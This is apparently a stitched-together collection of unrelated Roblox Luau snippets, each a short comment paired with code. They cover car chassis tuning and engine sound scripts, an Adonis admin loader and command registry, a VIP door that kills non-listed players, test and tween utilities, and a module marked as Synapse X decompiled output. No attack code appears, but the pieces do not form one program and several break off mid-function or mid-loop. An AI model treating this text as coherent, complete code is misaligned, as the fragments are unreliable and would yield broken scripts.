while ((flying) and (not dead)) do
--realSpeed = ((pos-main.Position).magnitude/(time()-t)) -- Calculate "real" speed
realSpeed = main.Velocity.Magnitude
pos,t = main.Position,time()
local max = (maxSpeed+(-main.CFrame.lookVector.y*speedVary)) -- Speed variety based on the pitch of the aircraft
desiredSpeed = (max*(on and throttle or 0)) -- Find speed based on throttle
local change = (desiredSpeed > currentSpeed and 1 or -1) -- Decide between accelerating or decelerating
currentSpeed = (currentSpeed+(accel*change)) -- Calculate new speed |
-- Variables |
local Maid = {}
Maid.__index = Maid
|
--[[Engine]] |
-- [TORQUE CURVE VISUAL]
-- https://www.desmos.com/calculator/nap6stpjqf
-- Use sliders to manipulate values
-- Edit everything as if your car is NATURALLY aspirated, or as if it lacks a turbo.
Tune.Horsepower = 165
Tune.IdleRPM = 800
Tune.PeakRPM = 5500
Tune.Redline = 6000
Tune.EqPoint = 5252
Tune.PeakSharpness = 6.0
Tune.CurveMult = 0.2
Tune.InclineComp = 1.5 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)
--Turbo Settings
Tune.Aspiration = "Natural" --[[
[Aspiration]
"Natural" : N/A, Naturally aspirated engine
"Single" : Single turbocharger
"Double" : Twin turbocharger ]]
Tune.Boost = 15 --Max PSI per turbo (If you have two turbos and this is 15, the PSI will be 30)
Tune.TurboSize = 80 --Turbo size; the bigger it is, the more lag it has.
Tune.CompressRatio = 9 --The compression ratio (look it up)
--Misc
Tune.RevAccel = 125 -- RPM acceleration when clutch is off
Tune.RevDecay = 25 -- RPM decay when clutch is off
Tune.RevBounce = 0 -- RPM kickback from redline
Tune.IdleThrottle = 5 -- Percent throttle at idle
Tune.ClutchTol = 250 -- Clutch engagement threshold (higher = faster response, lower = more stable RPM)
|
-- Decompiled with the Synapse X Luau decompiler. |
module = {};
function module.sanitize(p1)
return p1:gsub("%c", "");
end;
return module;
|
----------------------------------------------------------------------------------------------- |
script.Parent:WaitForChild("Speedo")
script.Parent:WaitForChild("Tach")
script.Parent:WaitForChild("ln")
script.Parent:WaitForChild("Gear")
script.Parent:WaitForChild("Speed")
local player=game.Players.LocalPlayer
local mouse=player:GetMouse()
local car = script.Parent.Parent.Car.Value
car.Body.RSPD2.VehicleSeat.HeadsUpDisplay = false
local _Tune = require(car["A-Chassis Tune"])
local _pRPM = _Tune.PeakRPM
local _lRPM = _Tune.Redline
local currentUnits = 1
local revEnd = math.ceil(_lRPM/1000)
|
---Register User Input---
--Listen for keyboard and gamepad input |
local function seatingAction(actionName, inputState, inputObj)
if inputState == Enum.UserInputState.Begin then
if AdornedSeat then
if isFlipped(AdornedSeat) then
flipSeat()
else
EnterKeyDown = true
enterStart()
end
return Enum.ContextActionResult.Sink
end
elseif EnterKeyDown then
EnterKeyDown = false
return Enum.ContextActionResult.Sink
end
return Enum.ContextActionResult.Pass
end
|
--// [ key, ally |
mouse.KeyDown:connect(function(key)
if key=="m" then
veh.Lightbar.middle.Beep:Play()
veh.Lightbar.Remotes.AllyEvent:FireServer(true)
end
end)
|
--Tune |
local WheelieButton = "T"
local DeadZone = 90
|
--[=[
Use to test that the left padding between the given GuiObject or Rect and
the other GuiObject or Rect.
The last argument is optional. If nil, the matcher will pass only if the
difference **left** edge of the given GuiObject or Rect and the **left**
edge of the other GuiObject or Rect is zero or positive.
```lua
-- Jest
expect(instanceA).toBeInsideRightOf(instanceB)
expect(instanceA).toBeInsideRightOf(instanceB, 10)
expect(instanceA).toBeInsideRightOf(instanceB, NumberRange.new(0, 10))
```
```lua
-- TestEZ
expect(instanceA).to.be.insideRightOf(instanceB)
expect(instanceA).to.be.insideRightOf(instanceB, 10)
expect(instanceA).to.be.insideRightOf(instanceB, NumberRange.new(0, 10))
```
@tag inside
@within CollisionMatchers2D
]=] |
local function insideRightOf(a: GuiObject | Rect, b: GuiObject | Rect, distance: number | NumberRange)
local aRect = toRect(a)
local bRect = toRect(b)
local distanceFromSide = (aRect.Min - bRect.Min)
if distance then
if typeof(distance) == "number" then
distance = NumberRange.new(distance)
end
return returnValue(
distance.Min <= distanceFromSide.X and distance.Max >= distanceFromSide.X,
"Was within range",
"Was not within range ( " .. tostring(distance) .. ")"
)
else
return returnValue(distanceFromSide.X >= 0, "Was not left of the element", "Was too far left of the element")
end
end
return insideRightOf
|
-- list of account names allowed to go through the door. |
permission = {"YOURNAMEHERE"}--Put your friends name's here. You can add more.
function checkOkToLetIn(name)
for i = 1,#permission do
if (string.upper(name) == string.upper(permission[i])) then return true end
end
return false
end
local Door = script.Parent
function onTouched(hit)
print("Door Hit")
local human = hit.Parent:findFirstChild("Humanoid")
if (human ~= nil ) then
-- a human has touched this door!
print("Human touched door")
-- test the human's name against the permission list
if (checkOkToLetIn(human.Parent.Name)) then
print("Human passed test")
Door.Transparency = 0.7
Door.CanCollide = false
wait(1) -- this is how long the door is open
Door.CanCollide = true
Door.Transparency = 0
else human.Health= 0 -- delete this line of you want a non-killing VIP door
end
end
end
script.Parent.Touched:connect(onTouched)
|
--[[
Provides an interface to quickly run and report tests from a given object.
]] |
local TestPlanner = require(script.Parent.TestPlanner)
local TestRunner = require(script.Parent.TestRunner)
local TextReporter = require(script.Parent.Reporters.TextReporter)
local TestBootstrap = {}
local function stripSpecSuffix(name)
return (name:gsub("%.spec$", ""))
end
local function isSpecScript(aScript)
return aScript:IsA("ModuleScript") and aScript.Name:match("%.spec$")
end
local function getPath(module, root)
root = root or game
local path = {}
local last = module
if last.Name == "init.spec" then
-- Use the directory's node for init.spec files.
last = last.Parent
end
while last ~= nil and last ~= root do
table.insert(path, stripSpecSuffix(last.Name))
last = last.Parent
end
table.insert(path, stripSpecSuffix(root.Name))
return path
end
local function toStringPath(tablePath)
local stringPath = ""
local first = true
for _, element in ipairs(tablePath) do
if first then
stringPath = element
first = false
else
stringPath = element .. " " .. stringPath
end
end
return stringPath
end
function TestBootstrap:getModulesImpl(root, modules, current)
modules = modules or {}
current = current or root
if isSpecScript(current) then
local method = require(current)
local path = getPath(current, root)
local pathString = toStringPath(path)
table.insert(modules, {
method = method,
path = path,
pathStringForSorting = pathString:lower()
})
end
end
|
--//Controller//-- |
Tool.Activated:Connect(function()
if Configuration.OnCD.Value == false then
ToolEvent:FireServer()
end
end)
|
-- Await initialization |
repeat wait() until _G[Tool];
Plugin = _G[Tool].Plugin;
|
--[[
___ _______ _
/ _ |____/ ___/ / ___ ____ ___ (_)__
/ __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-<
/_/ |_| \___/_//_/\_,_/___/___/_/___/
SecondLogic @ Inspare
]] |
local FE = workspace.FilteringEnabled
local car = script.Parent.Car.Value
local handler = car:WaitForChild("AC6_FE_Sounds")
local _Tune = require(car["A-Chassis Tune"])
local on = 0
local mult=0
local det=0
local trm=0
local trmmult=0
local trmon=0
local throt=0
local redline=0
local shift=0
script:WaitForChild("Rev")
script.Parent.Values.Gear.Changed:connect(function()
mult=1
if script.Parent.Values.RPM.Value>5000 then
shift=.2
end
end)
for i,v in pairs(car.DriveSeat:GetChildren()) do
for _,a in pairs(script:GetChildren()) do
if v.Name==a.Name then v:Stop() wait() v:Destroy() end
end
end
handler:FireServer("newSound","Rev",car.DriveSeat,script.Rev.SoundId,0,script.Rev.Volume,true)
handler:FireServer("playSound","Rev")
car.DriveSeat:WaitForChild("Rev")
while wait() do
mult=math.max(0,mult-.1)
local _RPM = script.Parent.Values.RPM.Value
if script.Parent.Values.Throttle.Value <= _Tune.IdleThrottle/100 then
throt = math.max(.3,throt-.2)
trmmult = math.max(0,trmmult-.05)
trmon = 1
else
throt = math.min(1,throt+.1)
trmmult = 1
trmon = 0
end
shift = math.min(1,shift+.2)
if script.Parent.Values.RPM.Value > _Tune.Redline-_Tune.RevBounce/4 and script.Parent.Values.Throttle.Value > _Tune.IdleThrottle/100 then
redline=.5
else
redline=1
end
if not script.Parent.IsOn.Value then on=math.max(on-.015,0) else on=1 end
local Volume = (3*throt*shift*redline)+(trm*trmon*trmmult*(3-throt)*math.sin(tick()*50))
local Pitch = math.max((((script.Rev.SetPitch.Value + script.Rev.SetRev.Value*_RPM/_Tune.Redline))*on^2)+(det*mult*math.sin(80*tick())),script.Rev.SetPitch.Value)
if FE then
handler:FireServer("updateSound","Rev",script.Rev.SoundId,Pitch,Volume)
else
car.DriveSeat.Rev.Volume = Volume
car.DriveSeat.Rev.Pitch = Pitch
end
end
|
--Put in ServerScriptService |
game.Players.PlayerAdded:connect(function(player)
player.CharacterAdded:connect(function(character)
--script.ToggleRagdoll:Clone().Parent = character
script.RagdollRig:Clone().Parent = character
script.Physics:Clone().Parent = character
script.WindSetting:Clone().Parent = character
script.RagdollConnect:Clone().Parent = character
character:WaitForChild("Humanoid").Died:connect(function()
character.UpperTorso:SetNetworkOwner(player)
end)
end)
end)
|
--//Setup//-- |
local JarBody = script.Parent
local Jar = JarBody.Parent
|
-- Make a base cosmetic bullet object. This will be cloned every time we fire off a ray. |
local CosmeticBullet = Instance.new("Part")
CosmeticBullet.Material = Enum.Material.Neon
CosmeticBullet.Color = Color3.fromRGB(0, 196, 255)
CosmeticBullet.CanCollide = false
CosmeticBullet.Anchored = true
CosmeticBullet.Size = Vector3.new(0.75, 0.75, 2.4)
|
--//Script created by Brer_Bear on 1st of July 2018
--//Do not copy or edit without permission. | |
--Editable Values |
local Drag = .14 --Drag Coefficient
local F = 125 --Downforce at 300 SPS
local R = 150 --Downforce at 300 SPS
local Vol = 2.5 |
-- ROBLOX NOTE upstream: Added some utilities to support keeping the upstream code consistent |
type unknown = any
local CurrentModule = script.Parent
local Packages = CurrentModule.Parent
local LuauPolyfill = require(Packages.LuauPolyfill)
local inspect = LuauPolyfill.util.inspect
type Array<T> = LuauPolyfill.Array<T>
local typesModule = require(CurrentModule.types)
type InspectOptions = typesModule.InspectOptions
function concatRestArgs(restArgs: Array<unknown>)
local restStr = ""
if #restArgs > 0 then
restStr = " " .. table.concat(restArgs, " ")
end
return restStr
end
function getFormattedValue(value: unknown, inspectOptions: InspectOptions?)
return if type(value) == "string" then value else inspect(value, inspectOptions)
end
function format(...)
return formatter(nil, ...)
end
function formatWithOptions(inspectOptions: InspectOptions, fmt: unknown, ...)
return formatter(inspectOptions, fmt, ...)
end
function formatter(inspectOptions: InspectOptions?, fmt: unknown, ...)
local args = { ... }
local fmtArgs = {}
local extraArgs = {}
if type(fmt) == "string" then
local _, c = fmt:gsub("%%[sdj%%]", "")
for key, value in pairs(args) do
local formattedValue = getFormattedValue(value, inspectOptions)
if key <= c then
table.insert(fmtArgs, formattedValue)
else
table.insert(extraArgs, formattedValue)
end
end
else
fmt = inspect(fmt, inspectOptions)
for _, value in pairs(args) do
table.insert(extraArgs, getFormattedValue(value, inspectOptions))
end
end
return string.format(fmt, table.unpack(fmtArgs)) .. concatRestArgs(extraArgs)
end
return {
format = format,
formatWithOptions = formatWithOptions,
concatRestArgs = concatRestArgs,
}
|
-------------------------------------------------- |
script.Parent.Values.RPM.Changed:connect(function()
intach.Rotation = -120 + script.Parent.Values.RPM.Value * 250 / 10500
end)
script.Parent.Values.Velocity.Changed:connect(function(property)
end)
script.Parent.Values.PBrake.Changed:connect(function()
end)
|
--// Init |
return service.NewProxy({
__call = function(tab, data)
local mutex = service.RunService:FindFirstChild("__Adonis_MODULE_MUTEX")
if mutex then
warn("\n-----------------------------------------------"
.."\nAdonis server-side is already running! Aborting..."
.."\n-----------------------------------------------")
script:Destroy()
return "FAILED"
else
mutex = service.New("StringValue", {Name = "__Adonis_MODULE_MUTEX", Archivable = false, Value = "Running"})
local mutexBackup = mutex:Clone()
local function makePersistent(m)
local connection1, connection2 = nil, nil
connection1 = m:GetPropertyChangedSignal("Parent"):Connect(function()
if not m or m.Parent ~= service.RunService then
connection1:Disconnect()
connection2:Disconnect()
warn("Adonis module mutex removed; Regenerating...")
makePersistent(mutexBackup)
mutexBackup.Parent = service.RunService
mutexBackup = mutexBackup:Clone()
end
end)
connection2 = m:GetPropertyChangedSignal("Name"):Connect(function()
if m and m.Name ~= "__Adonis_MODULE_MUTEX" then
warn("Adonis module mutex renamed; Refreshing...")
m.Name = "__Adonis_MODULE_MUTEX"
end
end)
end
makePersistent(mutex)
mutex.Parent = service.RunService
end
--// Begin Script Loading
setfenv(1, setmetatable({}, {__metatable = unique}))
data = service.Wrap(data or {})
if not (data and data.Loader) then
warn("WARNING: MainModule loaded without using the loader!")
end
if data and data.ModuleID == 8612978896 then
warn("Currently using Adonis Nightly MainModule; intended for testing & development only!")
end
--// Server Variables
local setTab = require(server.Deps.DefaultSettings)
server.Defaults = setTab
server.Settings = data.Settings or setTab.Settings or {}
server.OriginalSettings = CloneTable(server.Settings, true)
server.Descriptions = data.Descriptions or setTab.Descriptions or {}
server.Messages = data.Messages or setTab.Settings.Messages or {}
server.Order = data.Order or setTab.Order or {}
server.Data = data or {}
server.Model = data.Model or service.New("Model")
server.ModelParent = data.ModelParent or service.ServerScriptService;
server.Dropper = data.Dropper or service.New("Script")
server.Loader = data.Loader or service.New("Script")
server.Runner = data.Runner or service.New("Script")
server.LoadModule = LoadModule
server.LoadPackage = LoadPackage
server.ServiceSpecific = ServiceSpecific
server.Shared = Folder.Shared
server.ServerPlugins = data.ServerPlugins
server.ClientPlugins = data.ClientPlugins
server.Client = Folder.Parent.Client
locals.Settings = server.Settings
locals.CodeName = server.CodeName
--// THIS NEEDS TO BE DONE **BEFORE** ANY EVENTS ARE CONNECTED
if server.Settings.HideScript and data.Model then
data.Model.Parent = nil
script:Destroy()
end
--// Copy client themes, plugins, and shared modules to the client folder
local packagesToRunWithPlugins = {}
local shared = service.New("Folder", {
Name = "Shared";
Parent = server.Client;
})
for _, module in ipairs(Folder.Shared:GetChildren()) do
module:Clone().Parent = shared
end
for _, module in pairs(data.ClientPlugins or {}) do
module:Clone().Parent = server.Client.Plugins
end
for _, theme in pairs(data.Themes or {}) do
theme:Clone().Parent = server.Client.UI
end
for _, pkg in pairs(data.Packages or {}) do
LoadPackage(pkg, Folder.Parent, false)
end
for setting, value in pairs(server.Defaults.Settings) do
if server.Settings[setting] == nil then
server.Settings[setting] = value
end
end
for desc, value in pairs(server.Defaults.Descriptions) do
if server.Descriptions[desc] == nil then
server.Descriptions[desc] = value
end
end
--// Bind cleanup
service.DataModel:BindToClose(CleanUp)
--server.CleanUp = CleanUp;
--// Require some dependencies
server.Typechecker = require(server.Shared.Typechecker)
server.Changelog = require(server.Shared.Changelog)
server.Credits = require(server.Shared.Credits)
do
local MaterialIcons = require(server.Shared.MatIcons)
server.MatIcons = setmetatable({}, {
__index = function(self, ind)
local materialIcon = MaterialIcons[ind]
if materialIcon then
self[ind] = `rbxassetid://{materialIcon}`
return self[ind]
end
return ""
end,
__metatable = "Adonis_MatIcons"
})
end
--// Load services
for ind, serv in ipairs(SERVICES_WE_USE) do
local temp = service[serv]
end
--// Load core modules
for _, load in ipairs(CORE_LOADING_ORDER) do
local CoreModule = Folder.Core:FindFirstChild(load)
if CoreModule then
LoadModule(CoreModule, true, nil, nil, true) --noenv, CoreModule
end
end
--// Server Specific Service Functions
ServiceSpecific.GetPlayers = server.Functions.GetPlayers
--// Experimental, may have issues with Adonis tables that are protected metatables
--ServiceSpecific.CloneTable = CloneTable
--// Initialize Cores
local runLast = {}
local runAfterInit = {}
local runAfterPlugins = {}
for _, name in ipairs(CORE_LOADING_ORDER) do
local core = server[name]
if core then
if type(core) == "table" or (type(core) == "userdata" and getmetatable(core) == "ReadOnly_Table") then
if core.RunLast then
table.insert(runLast, core.RunLast)
core.RunLast = nil
end
if core.RunAfterInit then
table.insert(runAfterInit, core.RunAfterInit)
core.RunAfterInit = nil
end
if core.RunAfterPlugins then
table.insert(runAfterPlugins, core.RunAfterPlugins)
core.RunAfterPlugins = nil
end
if core.Init then
core.Init(data)
core.Init = nil
end
end
end
end
--// Variables that rely on core modules being initialized
server.Logs.Errors = ErrorLogs
--// Load any afterinit functions from modules (init steps that require other modules to have finished loading)
for _, f in pairs(runAfterInit) do
f(data)
end
--// Load Plugins; enforced NoEnv policy, make sure your plugins has the 2nd argument defined!
for _, module in ipairs(server.PluginsFolder:GetChildren()) do
LoadModule(module, false, {script = module}, true, true) --noenv
end
for _, module in pairs(data.ServerPlugins or {}) do
LoadModule(module, false, {script = module})
end
--// We need to do some stuff *after* plugins are loaded (in case we need to be able to account for stuff they may have changed before doing something, such as determining the max length of remote commands)
for _, f in pairs(runAfterPlugins) do
f(data)
end
--// Below can be used to determine when all modules and plugins have finished loading; service.Events.AllModulesLoaded:Connect(function() doSomething end)
server.AllModulesLoaded = true
service.Events.AllModulesLoaded:Fire(os.time())
--// Queue handler
--service.StartLoop("QueueHandler","Heartbeat",service.ProcessQueue)
--// Stuff to run after absolutely everything else has had a chance to run and initialize and all that
for _, f in pairs(runLast) do
f(data)
end
if data.Loader then
warn(`Loading Complete; Required by {data.Loader:GetFullName()}`)
else
warn("Loading Complete; No loader location provided")
end
if server.Logs then
server.Logs.AddLog(server.Logs.Script, {
Text = "Finished Loading";
Desc = "Adonis has finished loading";
})
else
warn("SERVER.LOGS TABLE IS MISSING. THIS SHOULDN'T HAPPEN! SOMETHING WENT WRONG WHILE LOADING CORE MODULES(?)");
end
service.Events.ServerInitialized:Fire();
return "SUCCESS"
end;
__tostring = function()
return "Adonis"
end;
__metatable = "Adonis";
})
|
--------| Variables |-------- |
local easings = {}
|
--Unlock or Lock AR/AF timer if enclosure is locked |
function LockButtons()
ButtonAlert.ProximityPrompt.Enabled = false
ButtonAttack.ProximityPrompt.Enabled = false
ButtonCancel.ProximityPrompt.Enabled = false
ButtonTest.ProximityPrompt.Enabled = false
ButtonFire.ProximityPrompt.Enabled = false
end
function UnlockButtons()
ButtonAlert.ProximityPrompt.Enabled = true
ButtonAttack.ProximityPrompt.Enabled = true
ButtonCancel.ProximityPrompt.Enabled = true
ButtonTest.ProximityPrompt.Enabled = true
ButtonFire.ProximityPrompt.Enabled = true
end
function Check()
if script.Parent.Locked.Value == true then
LockButtons()
else
UnlockButtons()
end
end
Check()
script.Parent.Locked.Changed:Connect(function()
Check()
end)
|
--[[Front]] | --
Tune.FSusDamping = 85 -- Dampening
Tune.FSusStiffness = 2000 -- Stiffness
Tune.FSusLength = 1 -- Suspension length (in studs)
Tune.FPreComp = .25 -- Vehicle height, relative to your suspension settings
Tune.FExtLimit = .8 -- Max Extension Travel (in studs)
Tune.FCompLimit = .4 -- Max Compression Travel (in studs)
Tune.FBaseOffset = { -- Suspension (steering point) base
--[[Lateral]] 0 , -- positive = outward
--[[Vertical]] 0 , -- positive = upward
--[[Forward]] 0.256 } -- positive = forward
Tune.FAxleOffset = { -- Suspension (axle point) base
--[[Lateral]] 0 , -- positive = outward
--[[Vertical]] 0 , -- positive = upward
--[[Forward]] 0 } -- positive = forward
Tune.FBricksVisible = false -- Makes the front suspension bricks visible (Debug)
Tune.FConstsVisible = false -- Makes the front suspension constraints visible (Debug)
|
--[[
@class MarketPlaceManager
Library of utility functions that handle the MarketPlace.
]] |
local Products = require(script.Products)
local module = {}
module.Products = Products
return module
|
--\\Main//-- |
for Number, Instance in pairs(game.Workspace:GetChildren()) do
if Instance:IsA("Part") and Instance.Name == "Base" then
Instance.Touched:Connect(function(Hit)
local Player = PlayerService:GetPlayerFromCharacter(Hit.Parent)
if not Player then return end
Player.Character:FindFirstChild("Humanoid").Sit = true
end)
end
end
|
--// Commands
--// Highly recommended you disable Intellesense before editing this... |
return function(Vargs, GetEnv)
local env = GetEnv(nil, {script = script})
setfenv(1, env)
local server = Vargs.Server
local service = Vargs.Service
local Settings = server.Settings
local Functions, Commands, Admin, Anti, Core, HTTP, Logs, Remote, Process, Variables, Deps, t
local RegisterCommandDefinition
local function Init()
Functions = server.Functions;
Admin = server.Admin;
Anti = server.Anti;
Core = server.Core;
HTTP = server.HTTP;
Logs = server.Logs;
Remote = server.Remote;
Process = server.Process;
Variables = server.Variables;
Commands = server.Commands;
Deps = server.Deps;
t = server.Typechecker;
local ValidateCommandDefinition = t.interface({
Prefix = t.string,
Commands = t.array(t.string),
Description = t.string,
AdminLevel = t.union(t.string, t.number, t.nan, t.array(t.union(t.string, t.number, t.nan))),
Fun = t.boolean,
Hidden = t.boolean,
Disabled = t.boolean,
NoStudio = t.boolean,
NonChattable = t.boolean,
AllowDonors = t.boolean,
Donors = t.boolean,
Filter = t.boolean,
Function = t.callback,
ListUpdater = t.optional(t.union(t.string, t.callback))
})
function RegisterCommandDefinition(ind, cmd)
if type(ind) ~= "string" then
logError("Non-string command index:", typeof(ind), ind)
Commands[ind] = nil
return
end
if type(cmd) ~= "table" then
logError("Non-table command definition:", ind)
Commands[ind] = nil
return
end
for opt, default in {
Prefix = Settings.Prefix;
Commands = {};
Description = "(No description)";
Fun = false;
Hidden = false;
Disabled = false;
NoStudio = false;
NonChattable = false;
AllowDonors = false;
Donors = false;
CrossServerDenied = false;
IsCrossServer = false;
Filter = false;
Function = function(plr)
Remote.MakeGui(plr, "Output", {Message = "No command implementation"})
end
}
do
if cmd[opt] == nil then
cmd[opt] = default
end
end
if cmd.Chattable ~= nil then
cmd.NonChattable = not cmd.Chattable
cmd.Chattable = nil
warn("Deprecated 'Chattable' property found in command "..ind.."; switched to NonChattable = "..tostring(cmd.NonChattable))
end
Admin.PrefixCache[cmd.Prefix] = true
for _, v in cmd.Commands do
Admin.CommandCache[string.lower(cmd.Prefix..v)] = ind
end
cmd.Args = cmd.Args or cmd.Arguments or {}
local lvl = cmd.AdminLevel
if type(lvl) == "string" and lvl ~= "Donors" then
cmd.AdminLevel = Admin.StringToComLevel(lvl)
elseif type(lvl) == "table" then
for b, v in lvl do
lvl[b] = Admin.StringToComLevel(v)
end
elseif type(lvl) == "nil" then
cmd.AdminLevel = 0
end
if cmd.ListUpdater then
Logs.ListUpdaters[ind] = function(plr, ...)
if not plr or Admin.CheckComLevel(Admin.GetLevel(plr), cmd.AdminLevel) then
if type(cmd.ListUpdater) == "function" then
return cmd.ListUpdater(plr, ...)
end
return Logs[cmd.ListUpdater]
end
end
end
local isValid, fault = ValidateCommandDefinition(cmd)
if not isValid then
logError("Invalid command definition table "..ind..":", fault)
Commands[ind] = nil
end
rawset(Commands, ind, cmd)
end
--// Automatic New Command Caching and Ability to do server.Commands[":ff"]
setmetatable(Commands, {
__index = function(_, ind)
if type(ind) ~= "string" then return nil end
local targInd = Admin.CommandCache[string.lower(ind)]
return if targInd then rawget(Commands, targInd) else rawget(Commands, ind)
end;
__newindex = function(_, ind, val)
if val == nil then
if rawget(Commands, ind) ~= nil then
rawset(Commands, ind, nil)
Logs.AddLog("Script", "Removed command definition:", ind)
end
elseif rawget(Commands, "RunAfterPlugins") then
rawset(Commands, ind, val)
else
if rawget(Commands, ind) ~= nil then
Logs.AddLog("Script", "Overwriting command definition:", ind)
end
RegisterCommandDefinition(ind, val)
end
end;
})
Logs.AddLog("Script", "Loading Command Modules...")
--// Load command modules
if server.CommandModules then
local env = GetEnv()
for i, module in server.CommandModules:GetChildren() do
local func = require(module)
local ran, tab = pcall(func, Vargs, env)
if ran and tab and type(tab) == "table" then
for ind, cmd in tab do
Commands[ind] = cmd
end
Logs.AddLog("Script", "Loaded Command Module: ".. module.Name)
elseif not ran then
warn("CMDMODULE ".. module.Name .. " failed to load:")
warn(tostring(tab))
Logs.AddLog("Script", "Loading Command Module Failed: ".. module.Name)
end
end
end
--// Cache commands
Admin.CacheCommands()
rawset(Commands, "Init", nil)
Logs.AddLog("Script", "Commands Module Initialized")
end
local function RunAfterPlugins()
--// Load custom user-supplied commands in settings.Commands
local commandEnv = GetEnv(nil, {
script = server.Config and server.Config:FindFirstChild("Settings") or script;
})
for ind, cmd in Settings.Commands or {} do
if type(cmd) == "table" and cmd.Function then
setfenv(cmd.Function, commandEnv)
Commands[ind] = cmd
end
end
--// Change command permissions based on settings
local Trim = service.Trim
for ind, cmd in Settings.Permissions or {} do
local com, level = string.match(cmd, "^(.*):(.*)")
if com and level then
if string.find(level, ",") then
local newLevels = {}
for lvl in string.gmatch(level, "[^%s,]+") do
table.insert(newLevels, Trim(lvl))
end
Admin.SetPermission(com, newLevels)
else
Admin.SetPermission(com, level)
end
end
end
for ind, cmd in Commands do
RegisterCommandDefinition(ind, cmd)
end
rawset(Commands, "RunAfterPlugins", nil)
end
server.Commands = {
Init = Init;
RunAfterPlugins = RunAfterPlugins;
};
end
|
--[[
Given a `tweenInfo` and `currentTime`, returns a ratio which can be used to
tween between two values over time.
]] |
local TweenService = game:GetService("TweenService")
local function getTweenRatio(tweenInfo: TweenInfo, currentTime: number): number
local delay = tweenInfo.DelayTime
local duration = tweenInfo.Time
local reverses = tweenInfo.Reverses
local numCycles = 1 + tweenInfo.RepeatCount
local easeStyle = tweenInfo.EasingStyle
local easeDirection = tweenInfo.EasingDirection
local cycleDuration = delay + duration
if reverses then
cycleDuration += duration
end
if currentTime >= cycleDuration * numCycles then
return 1
end
local cycleTime = currentTime % cycleDuration
if cycleTime <= delay then
return 0
end
local tweenProgress = (cycleTime - delay) / duration
if tweenProgress > 1 then
tweenProgress = 2 - tweenProgress
end
local ratio = TweenService:GetValue(tweenProgress, easeStyle, easeDirection)
return ratio
end
return getTweenRatio
|
--[[
Retrieves at most one child from the children passed to a component.
If passed nil or an empty table, will return nil.
Throws an error if passed more than one child.
]] |
local function oneChild(children)
if not children then
return nil
end
local key, child = next(children)
if not child then
return nil
end
local after = next(children, key)
if after then
error("Expected at most child, had more than one child.", 2)
end
return child
end
return oneChild
|
-- (Hat Giver Script - Loaded.) |
debounce = true
function onTouched(hit)
if (hit.Parent:findFirstChild("Humanoid") ~= nil and debounce == true) then
debounce = false
h = Instance.new("Hat")
p = Instance.new("Part")
h.Name = "Top Hat"
p.Parent = h
p.Position = hit.Parent:findFirstChild("Head").Position
p.Name = "Handle"
p.formFactor = 0
p.Size = Vector3.new(2, 1, 1)
p.BottomSurface = 0
p.TopSurface = 0
p.Locked = true
script.Parent.Mesh:clone().Parent = p
h.Parent = hit.Parent
h.AttachmentPos = Vector3.new(0,1,-1)
wait(5)
debounce = true
end
end
script.Parent.Touched:connect(onTouched)
|
--[[
Module for obtaining the input state for the vehicle, using UserInputService
]] |
local UserInputService = game:GetService("UserInputService")
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local ClientVehicleBoosts = require(ReplicatedStorage.Source.ClientVehicleBoosts)
local Flags = require(ReplicatedStorage.Source.Common.Flags)
local FlagEnableBoosts = Flags.EnableBoosts
local UserInput = {}
local throttle = 0
local steer = 0
local actions = {
Forwards = {Enum.KeyCode.W, Enum.KeyCode.Up},
Backwards = {Enum.KeyCode.S, Enum.KeyCode.Down},
Left = {Enum.KeyCode.A, Enum.KeyCode.Left},
Right = {Enum.KeyCode.D, Enum.KeyCode.Right},
Boost = {Enum.KeyCode.Space}
}
local function getActionFromInput(inputObject)
for action, bindings in pairs(actions) do
for _, keyCode in pairs(bindings) do
if keyCode == inputObject.KeyCode then
return action
end
end
end
end
local function isActionHeld(action)
local bindings = actions[action]
for _, keyCode in pairs(bindings) do
if UserInputService:IsKeyDown(keyCode) then
return true
end
end
return false
end
|
------------------------------------- |
equiped=false
sp=script.Parent
RayLength=10000
Spread=0
enabled=true
reloading=false
down=false
r=game:service("RunService")
last=0
last2=0
last3=0
last4=0
last5=0
last6=0
Bullet=Instance.new("Part")
Bullet.Name="Bullet"
Bullet.BrickColor=BrickColor.new("New Yeller")
Bullet.Anchored=true
Bullet.CanCollide=false
Bullet.Locked=true
Bullet.Size=Vector3.new(1,1,1) |
--[=[
@tag Component Class
`Start` is called when the component is started. At this point in time, it
is safe to grab other components also bound to the same instance.
```lua
local MyComponent = Component.new({Tag = "MyComponent"})
local AnotherComponent = require(somewhere.AnotherComponent)
function MyComponent:Start()
-- e.g., grab another component:
local another = self:GetComponent(AnotherComponent)
end
```
]=] |
function Component:Start()
end
|
--Functions |
local function onTouched(hit)
local Humanoid = hit.Parent:FindFirstChild("Humanoid")
local player = game.Players:GetPlayerFromCharacter(hit.Parent)
if Humanoid and Debounce == false then
local leaderstats = player:FindFirstChild("leaderstats")
Debounce = true
if Debounce == true and leaderstats then
local sound = script.Parent["Game Sound Correct"]
if not sound.IsPlaying then
sound:Play()
leaderstats.Guesses.Value = leaderstats.Guesses.Value + AMOUNT_GIVEN
wait(10)
Debounce = false
end
end
end
end |
--------------------) Settings |
Damage = 0 -- the ammout of health the player or mob will take
Cooldown = 3 -- cooldown for use of the tool again
BoneModelName = "OWO zone" -- name the zone model
HumanoidName = "Humanoid"-- the name of player or mob u want to damage |
--[[Run]] |
--Print Version
local ver=require(car["A-Chassis Tune"].README)
print("//INSPARE: AC6 Loaded - Build "..ver)
--Runtime Loops
-- ~60 c/s
game["Run Service"].Stepped:connect(function()
--Steering
Steering()
--RPM
RPM()
--Update External Values
_IsOn = script.Parent.IsOn.Value
_InControls = script.Parent.ControlsOpen.Value
script.Parent.Values.Gear.Value = _CGear
script.Parent.Values.RPM.Value = _RPM
script.Parent.Values.Horsepower.Value = _HP
script.Parent.Values.Torque.Value = _HP * _Tune.EqPoint / _RPM
script.Parent.Values.TransmissionMode.Value = _TMode
script.Parent.Values.Throttle.Value = _GThrot
script.Parent.Values.Brake.Value = _GBrake
script.Parent.Values.SteerC.Value = _GSteerC*(1-math.min(car.DriveSeat.Velocity.Magnitude/_Tune.SteerDecay,1-(_Tune.MinSteer/100)))
script.Parent.Values.SteerT.Value = _GSteerT
script.Parent.Values.PBrake.Value = _PBrake
script.Parent.Values.TCS.Value = _TCS
script.Parent.Values.TCSActive.Value = _TCSActive
script.Parent.Values.ABS.Value = _ABS
script.Parent.Values.ABSActive.Value = _ABSActive
script.Parent.Values.MouseSteerOn.Value = _MSteer
